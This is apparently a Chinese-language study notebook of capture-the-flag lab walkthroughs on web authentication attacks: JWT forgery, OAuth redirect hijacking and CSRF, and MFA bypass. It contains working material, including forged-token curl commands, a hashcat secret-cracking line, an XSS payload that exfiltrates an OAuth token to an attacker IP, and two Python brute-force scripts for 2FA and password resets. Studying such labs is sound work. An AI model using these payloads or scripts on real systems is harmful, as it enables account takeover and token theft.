基础

session

属性

Secure - 向浏览器指示 Cookie 只能通过经过验证的 HTTPS 通道传输。如果存在证书错误或使用 HTTP,则不会传输 Cookie 值
HTTPOnly - 向浏览器指示客户端 JavaScript 可能无法读取 Cookie 值
Expire - 向浏览器指示 Cookie 值何时不再有效,应将其删除
SameSite - 向浏览器指示是否可以在跨站点请求中传输 Cookie,以帮助防止 CSRF 攻击

token

Token-Based Session Management

最常见的令牌类型之一是 JSON Web 令牌 (JWT),一般形式

1
Authorization: Bearer <token>

以前的盲点

浏览器中不仅仅要注意cookie,还要注意本地存储的

JWT

它没有使用浏览器的自动 cookie 管理功能,而是依赖于客户端代码来完成该过程。身份验证后,Web 应用程序会在请求正文中提供令牌。然后使用客户端 JavaScript 代码,此令牌将存储在浏览器的 LocalStorage 中

在线工具

curl命令使用

拿token

1
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.95.235/api/v1.0/example2


验证用户

1
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8' http://10.10.95.235/api/v1.0/example2?username=user

未验证


重新构造,把admin的值设为1

1
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8' http://10.10.95.235/api/v1.0/example2?username=admin

签名算法降级为none

构造时,alg那里是设置签名算法的,改为none,只能分段手动改了
拿到的token

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8

按.分割,分别base64解码再构造再解码

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=
1
eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=

最后

1
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8' http://10.10.95.235/api/v1.0/example3?username=admin

弱对称密钥签名

直接hashcat破解

1
hashcat -m 16500 -a 0 "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY" fuzzDicts-master/jwt.secrets.list

签名算法混淆

特别发生在对称签名算法和非对称签名算法之间的混淆中。如果使用非对称签名算法(例如 RS256),则可以将算法降级为 HS256。在这些情况下,某些库将默认使用公钥作为对称签名算法的密钥。由于公钥是已知的,因此可以将 HS256 算法与公钥结合使用来伪造有效的签名

已修复,就不用脚本不复现了
先获取token和公钥

直接jwt.io构造

1
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU' http://10.10.95.235/api/v1.0/example5?username=admin

令牌不过期

解密token

未显示exp值,代表令牌不过期

跨服务中继攻击

一个用户在appA普通权限,在appB是管理员权限,那就用appB的token去请求appA

1
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.95.235/api/v1.0/example7_appA?username=admin

OAuth 漏洞(OAuth 2.0,即常用的授权框架)

应用程序使用 OAuth 的第一个迹象通常在登录过程中找到。查找允许用户使用 Google、Facebook 和 GitHub 等外部服务提供商登录的选项。这些选项通常会将用户重定向到服务提供商的授权页面,这强烈表明 OAuth 正在使用中

一些基本概念

状态参数

可选参数维护客户端和授权服务器之间的状态。它可以通过确保响应与客户端的请求匹配来帮助防止 CSRF 攻击。状态参数是保护 OAuth 流的关键部分

授权类型(服务器-服务器交互常用的授权类型是客户端凭证授予)

授权码授予

最常用的 OAuth 2.0 流程,适用于服务器端应用程序(PHP、JAVA、.NET 等)
流程:

1
2
客户端将用户重定向到授权服务器,用户将在其中进行身份验证并授予授权。然后,授权服务器使用授权码将用户重定向到客户端。客户端通过请求授权服务器的令牌终端节点来交换访问令牌的授权代码

这种授权类型以其增强的安全性而闻名,因为授权码是服务器到服务器交换的访问令牌,这意味着访问令牌不会暴露给用户代理(例如浏览器) ,从而降低了令牌泄漏的风险。它还支持使用刷新令牌来保持长期访问,而无需重复用户身份验证

隐式授权

主要适用于客户端无法安全存储密钥的移动和 Web 应用程序。它直接向客户端颁发访问令牌,而无需交换授权代码
在此流程中,客户端将用户重定向到授权服务器。在用户进行身份验证并授予授权后,授权服务器会在 URL 片段中 返回一个访问令牌
此授权类型经过简化,适用于无法安全存储客户端密钥的客户端。它更快,因为它涉及的步骤比授权码授予少。但是,它不太安全,因为访问令牌会暴露给用户代理,并且可以记录在浏览器历史记录中 。它也不支持刷新令牌

资源所有者密码凭证授予

当资源所有者高度信任 客户端(例如第一方应用程序)时,将使用 Resource Owner Password Credentials 授予。客户端直接收集用户的凭证(用户名和密码),并将其交换为访问令牌

客户端凭证授予

用于服务器到服务器的交互,无需用户参与。客户端使用其凭证向授权服务器进行身份验证并获取访问令牌。在此流程中,客户端使用其客户端凭证(客户端 ID 和密钥)向授权服务器进行身份验证,授权服务器直接向客户端颁发访问令牌
此授权类型适用于后端服务和服务器到服务器通信,因为它不涉及用户凭证,从而降低了与用户数据泄露相关的安全风险

利用思路

窃取 OAuth 令牌

原理

攻击者获得了对 redirect_uri 中列出的任何域或 URI 的控制权,他们就可以纵流来拦截令牌
如果攻击者获得了对 demo.com 的控制权,他们就可以利用 OAuth 流。通过将 redirect_uri 设置为 http://demo.com/callback ,授权服务器会将令牌发送到此受控域
攻击者启动 OAuth 流并确保 redirect_uri 指向其受控域。用户授权应用程序后,令牌将发送到 http://demo.com/callback 。攻击者现在可以捕获此令牌并使用它来访问受保护的资源

实操

准备一个恶意授权请求的页面,可以用以下示例代码

1
2
3
4
<form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get">
<input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/malicious_redirect.html">
<input type="submit" value="Hijack OAuth">
</form>

此表单发送一个带有 value http://dev.bistro.thm:8002/malicious_redirect.html 的隐藏 redirect_uri 参数,并向http://coffee.thm:8000/oauthdemo/oauth_login/提交请求
malicious_redirect.html 页面使用以下代码拦截来自 URL 的授权代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
// 从 URL 中提取授权码
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');

// 将授权码显示在页面上
document.getElementById('auth_code').innerText = code;

// 在控制台打印截获的授权码
console.log("截获的授权码:", code);

// 此处可以添加代码,将获取到的授权码保存到数据库或文件中
</script>

注意 :由于攻击者对子域拥有完全控制权,因此一旦他将受害者重定向到攻击者控制的域,他就会将凭据保存在数据库/文件等中,以备后用。此外,从 redirect_uri 重定向到原始 URL 的速度非常快,以至于受害者不知道他的授权码已被劫持

我们可以诱导受害者点击受控域http://dev.bistro.thm:8002/redirect_uri.html

然后点击Login via OAuth按钮,表单会调用 http://coffee.thm:8000/oauthdemo/oauth_login/ 但带有伪造的 redirect_uri,一旦受害者输入 OAuth 提供程序的凭据 (victim:victim123),它就会将 OAuth 授权代码定向到攻击者的受控 URL ( http://dev.bistro.thm:8002/malicious_redirect.html

然后可以利用拦截的授权码调用 /callback 端点并将其交换为有效的访问令牌

1
http://bistro.thm:8000/oauthdemo/callbackforflag/?code=xxxxx

OAuth 中的 CSRF

原理(缺少 state 参数的csrf)

如果没有 state 参数,授权过程很容易受到 CSRF 的攻击。攻击者可以通过获取受害者的授权码并将其发送给攻击者来利用此漏洞。授权服务器无法确定授权代码是属于攻击者 还是受害者 ,或者请求是来自攻击者还是受害者

前提

OAuth 2.0 框架中的 state 参数可防止 CSRF 攻击
所以要实现OAuth 中的 CSRF,其中 state 参数要么缺失 ,要么是可预测的 (例如,像 “state” 这样的静态值或一个简单的序列号)。攻击者可以启动 OAuth 流并提供其恶意重定向 URI。在用户对应用程序进行身份验证并授权后,授权服务器会将授权代码重定向到攻击者的受控 URI

实操(缺少 state 参数)

检查url参数

登录环境后看到可以将联系人同步到 CoffeeShopApp

点击同步后发现被重定向到http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http%3A%2F%2Fmycontacts.thm%3A8080%2Fcsrf%2Fcallbackcsrf.php

注意到授权 URL 缺少 state 参数,这表明可以对 CSRF 攻击使用相同的请求

漏洞利用

首先要获取授权码,本练习中直接通过一个恶意urihttp://coffee.thm:8000/oauthdemo/callbackforcsrf/,允许在不完成 OAuth 流程的情况下获取授权码,这个路由的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def oauth_logincsrf(request):
"""
处理 OAuth 登录请求,并构建授权 URL。
"""
app = Application.objects.get(name="ContactApp")

redirect_uri = request.POST.get(
"redirect_uri", "http://coffee.thm/csrf/callbackcsrf.php"
)

# 构建包含客户端 ID 和重定向 URI 的授权 URL
authorization_url = (
f"http://coffee.thm:8000/o/authorize/?"
f"client_id={app.client_id}&"
f"response_type=code&"
f"redirect_uri={redirect_uri}"
)

return redirect(authorization_url)


def oauth_callbackflagcsrf(request):
"""
处理从 OAuth 提供者返回的回调请求,并提取授权码。
"""
code = request.GET.get("code")

# 如果请求中没有 'code' 参数,则返回错误
if not code:
return JsonResponse(
{'error': 'missing_code', 'details': 'Missing code parameter.'},
status=400
)

# 如果成功获取到 'code',将其包含在 JSON 响应中返回
# 注意:原始代码在这里是 if code:,在逻辑上是多余的,但予以保留。
# 原始代码的 status 也是 400,通常成功应为 200,这里也按原样保留。
if code:
return JsonResponse(
{
'code': code,
'Payload': 'http://coffee.thm/csrf/callbackcsrf.php?code=' + code
},
status=400
)

直接访问(这一步模拟操控uri)http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http://coffee.thm:8000/oauthdemo/callbackforcsrf/

构造的恶意网页与正常网页没什么区别
登录然后授权就会接收到这样的响应

然后记下授权码,之后换用户登录,点击同步联系人的按钮

再点击认证按钮

到最后填授权码的那个数据包,更换授权码1taRIhPhOBJbGHoZQUAdgB4fMJcyh8

隐式授权

缺陷

  1. 在 URL 中公开访问令牌 : 应用程序将用户重定向到 OAuth 授权端点,该端点在 URL 片段中返回访问令牌。页面上运行的任何脚本都可以轻松访问此片段。
  2. 重定向 URI 验证不足 : OAuth 服务器未充分验证重定向 URI,从而允许潜在攻击者纵重定向端点。
  3. 无 HTTPS 实施 :应用程序不强制执行 HTTPS,这可能导致通过中间人攻击进行令牌拦截。
  4. 访问令牌处理不当 : 应用程序不安全地将访问令牌存储在 localStoragesessionStorage 中 ,使其容易受到 XSS 攻击。

实操(xss攻击)

点击同步状态按钮,客户端应用程序配置为使用隐式授权类型

授权 URL 的构造如下:

1
2
3
4
var client_id = 'npmL7WDiRoOvjZoGSDiJhU2ViodTdygjW8rdabt7'; 
var redirect_uri = 'http://factbook.thm:8080/callback.php';
var auth_url = "http://coffee.thm:8000/o/authorize/";
var url = auth_url + "?response_type=token&client_id=" + client_id + "&redirect_uri=" + encodeURIComponent(redirect_uri); window.location.href = url;

登录跳转后注意到,#将访问令牌与 OAuth 2.0 隐式授权流 URL 分开


触发漏洞点

起一个python服务器,构造payload

1
<img src="x" onerror="new Image().src='http://10.21.170.43:404/?token='+window.location.hash.split('&')[0].split('=')[1];">


然后根据提示访问对应url,输入token

多因素身份验证

常见漏洞

  1. 弱 OTP 生成算法
  2. 应用程序泄露 2FA 令牌

利用方式

OTP 泄漏

原理

XHR (XMLHttpRequest) 响应中的 OTP 泄漏通常是由于 2FA(双因素身份验证)机制实施不佳或不安全的编码而发生的

实操(明文验证码回显)

登录后yakit看记录,直接拿到验证码

逻辑缺陷或不安全的编码

登录后卡在这

yakit抓包也没看到有直接泄露OTP

直接访问我们要访问控制面板/dashboardhttp://mfa.thm/labs/second/dashboard,突破了2fa封锁

绕过自动注销功能

最好的利用方式就是写exp自动化攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import requests

# --- 常量与设置 ---

# 定义登录、2FA 验证和仪表板的 URL
LOGIN_URL = 'http://mfa.thm/labs/third/'
OTP_URL = 'http://mfa.thm/labs/third/mfa'
DASHBOARD_URL = 'http://mfa.thm/labs/third/dashboard'

# 定义登录凭证
CREDENTIALS = {
'email': 'thm@mail.thm',
'password': 'test123'
}

# 定义 headers 以模拟真实浏览器行为
HEADERS = {
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://mfa.thm',
'Connection': 'close',
'Referer': 'http://mfa.thm/labs/third/mfa',
'Upgrade-Insecure-Requests': '1'
}


# --- 辅助函数 ---

def is_login_successful(response):
"""检查响应是否包含成功登录的页面"""
return "User Verification" in response.text and response.status_code == 200


def is_login_page(response):
"""检查响应是否为登录页面"""
return "Sign in to your account" in response.text or "Login" in response.text


# --- 核心逻辑函数 ---

def login(session):
"""处理登录流程"""
response = session.post(LOGIN_URL, data=CREDENTIALS, headers=HEADERS)
return response


def submit_otp(session, otp):
"""处理 2FA 验证流程"""
# 将 OTP 分割成单个数字
otp_data = {
'code-1': otp[0],
'code-2': otp[1],
'code-3': otp[2],
'code-4': otp[3]
}

response = session.post(OTP_URL, data=otp_data, headers=HEADERS, allow_redirects=False)
print(f"调试:OTP 提交后的响应状态码: {response.status_code}")
return response


def try_until_success():
"""尝试登录并提交写死的 OTP,直到成功为止"""
otp_str = '1337' # 写死的 OTP

while True: # 持续尝试直到成功
session = requests.Session() # 为每次尝试创建新的 session 对象
login_response = login(session) # 在每次 OTP 尝试前先登录

if is_login_successful(login_response):
print("成功登录,准备提交 OTP。")
else:
print("登录失败,重试中...")
continue

print(f"正在尝试 OTP: {otp_str}")
response = submit_otp(session, otp_str)

# 检查响应是否为登录页面 (表示 OTP 失败)
if is_login_page(response):
print(f"OTP 尝试失败,被重定向到登录页。 OTP: {otp_str}")
continue

# 检查响应是否为重定向 (状态码 302)
if response.status_code == 302:
location_header = response.headers.get('Location', '')
print(f"Session cookies: {session.cookies.get_dict()}")

# 检查是否成功绕过 2FA 并到达仪表板
if location_header == '/labs/third/dashboard':
print(f"成功使用 OTP: {otp_str} 绕过 2FA!")
return session.cookies.get_dict() # 成功后返回 session cookies
elif location_header == '/labs/third/':
print(f"OTP 尝试失败,被重定向到登录页。 OTP: {otp_str}")
else:
print(f"非预期的重定向位置: {location_header}。 OTP: {otp_str}")
else:
print(f"收到非预期的状态码 {response.status_code},重试中...")


# --- 主程序入口 ---

if __name__ == "__main__":
print("开始攻击,尝试绕过 2FA...")
try_until_success()
print("攻击结束。")

花了快两分钟才成功


然后用这个session替换,然后刷新网站

1
d1re2l3nf1s1aan43ms1lst7ds

工具使用:evilginx

综合测试

绕过2fa登录

麻住了,直接访问80显示拒绝连接,想着看看开了啥端口,怎么都没有

扫10000范围看看,有结果了,1337开了服务


扫目录发现这些,但都没怎么利用上

注意到登录页源码有一句目录命令要求

先给字典加个前缀

1
sed 's/^/hmr_/' ~/fuzzDicts-master/directoryDicts/dicc.txt > ~/fuzzDicts-master/directoryDicts/dicc_hmr.txt

然后dirsearch指定目录开扫

1
./dirsearch.py  -u http://10.10.182.222:1337 -w ~/fuzzDicts-master/directoryDicts/dicc_hmr.txt


目测/hmr_logs/有用,访问看到里面有个错误日志

有个id序列pid 12354:tid 139999999999990,还有个邮件名tester@hammer.thm,邮件名可用于密码重置,先试试,时限180s内要输入四位验证码

没找到验证码泄露,逻辑漏洞也没有,真不会了,看wp学一下
先抓包看看

多次发包发现,当响应中的Rate-Limit-Pending字段的值为0的时候会触发速率限制

删除cookie以后发包发现,速率限制最大值是9,但这样是失败的,却能获取新cookie

之后重新抓包测试,发现单个cookie允许的发送次数是8次(7递减到0),之后就要重新获取cookie,然后输入邮箱,再来爆破

大致的逻辑有了,交给ai来写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import requests
import time

# --- 配置区域 ---

# 目标服务器的 URL
TARGET_URL = "http://10.10.182.222:1337/reset_password.php"

# 用于获取 Cookie 的邮箱地址
EMAIL = "tester@hammer.thm"

# 模拟浏览器的请求头
# 这些是从您提供的数据包中提取的,以确保请求尽可能逼真
HEADERS = {
"Host": "10.10.182.222:1337",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Referer": TARGET_URL,
"Accept-Encoding": "gzip, deflate",
"Cache-Control": "max-age=0",
"Origin": "http://10.10.182.222:1337",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
}

# --- 函数定义 ---

def get_new_session_cookie():
"""
通过提交邮箱来请求一个新的会话 Cookie (PHPSESSID)。

Returns:
str: 获取到的 PHPSESSID 值,如果失败则返回 None。
"""
try:
print("\n[*] 正在请求新的 PHPSESSID...")
email_data = {"email": EMAIL}
# 发送 POST 请求,并且不允许自动重定向,因为 Cookie 在 302 响应头中
response = requests.post(TARGET_URL, headers=HEADERS, data=email_data, allow_redirects=False, timeout=5)

# 检查响应状态码是否为 302 (重定向) 并且响应中是否包含 Cookie
if response.status_code == 302 and 'PHPSESSID' in response.cookies:
phpsessid = response.cookies['PHPSESSID']
print(f"[+] 成功获取新的 Cookie: {phpsessid}")
return phpsessid
else:
print(f"[!] 获取 Cookie 失败。状态码: {response.status_code}")
print(f" 响应内容: {response.text}")
return None
except requests.exceptions.RequestException as e:
print(f"[!] 获取 Cookie 时发生网络错误: {e}")
return None

def run_brute_force(start_code=0):
"""
执行验证码爆破的主函数。

Args:
start_code (int): 从哪个验证码开始尝试,默认为 0。
"""
phpsessid = get_new_session_cookie()
if not phpsessid:
print("[!] 无法开始爆破,因为初始 Cookie 获取失败。")
return

# 当前 Cookie 的尝试次数计数器
attempts_with_current_cookie = 0

# 循环遍历所有可能的四位验证码 (0000-9999)
for code_num in range(start_code, 10000):
# 检查当前 Cookie 的使用次数是否已达上限 (8次)
if attempts_with_current_cookie >= 8:
phpsessid = get_new_session_cookie()
if not phpsessid:
print("[!] 无法继续爆破,因为更新 Cookie 失败。")
return
# 重置计数器
attempts_with_current_cookie = 0

# 将数字格式化为四位字符串 (例如: 5 -> "0005")
recovery_code = f"{code_num:04d}"

# 准备爆破请求的数据和 Cookie
post_data = {
"recovery_code": recovery_code,
"s": "180" # 根据提供的数据包,这个值是180
}
cookies = {"PHPSESSID": phpsessid}

print(f"[*] [尝试次数: {attempts_with_current_cookie + 1}/8] 正在尝试验证码: {recovery_code} ...", end='\r')

try:
# 发送爆破请求
response = requests.post(TARGET_URL, headers=HEADERS, data=post_data, cookies=cookies, timeout=2) # 缩短超时以快速失败

# 增加当前 Cookie 的尝试次数
attempts_with_current_cookie += 1

# 检查响应中是否包含失败信息
if "Invalid or expired recovery code!" not in response.text:
print("\n" + "="*50)
print(f"[SUCCESS] 爆破成功!找到验证码: {recovery_code}")
print(f" 使用的 Cookie: {phpsessid}")
print("="*50)
print("\n[+] 服务器成功响应内容:")
print(response.text)
return # 成功找到,结束程序

# ---- 新增调试代码 ----
# 在每轮8次尝试的最后一次,打印调试信息
if attempts_with_current_cookie == 8:
# 使用\n换行,避免覆盖最后一次尝试的打印信息
print(f"\n[DEBUG] Cookie {phpsessid} 的第 8 次尝试完成。")
# .strip() 用于移除响应内容前后多余的空白符
print(f" 响应内容: {response.text.strip()}")
# ---- 调试代码结束 ----

except requests.exceptions.RequestException as e:
print(f"\n[!] 尝试验证码 {recovery_code} 时发生网络错误: {e}")
print("[*] 强制在下一次尝试时更新 Cookie。")
# 设置一个特殊值,确保下次循环会触发 Cookie 更新
attempts_with_current_cookie = 8

print("\n[INFO] 所有 10000 个验证码已尝试完毕,未找到正确结果。")


# --- 主程序入口 ---
if __name__ == "__main__":
# 您可以在这里修改 start_code 的值来从指定位置继续爆破
# 例如,如果上次脚本中断在 1234,您可以设置 start_code = 1235
run_brute_force(start_code=0)

爆出来了

然后直接替换cookie刷新页面就行

然后修改密码成功登录

rce(jwt伪造越权)

可以执行命令

直接反弹shell试试,失败,过滤一堆啊
观察数据包发现用了jwt

解密看看结构

看到kid指向了key文件,联想ls列出了一个密钥文件188ade1.key
访问就下载,里面的内容如下

可能是密钥什么的,先试着构造,时间戳调大一点

替换显示验证失败,哦是不小心勾选了base64编码

然后验证成功

反弹shell看看

读flag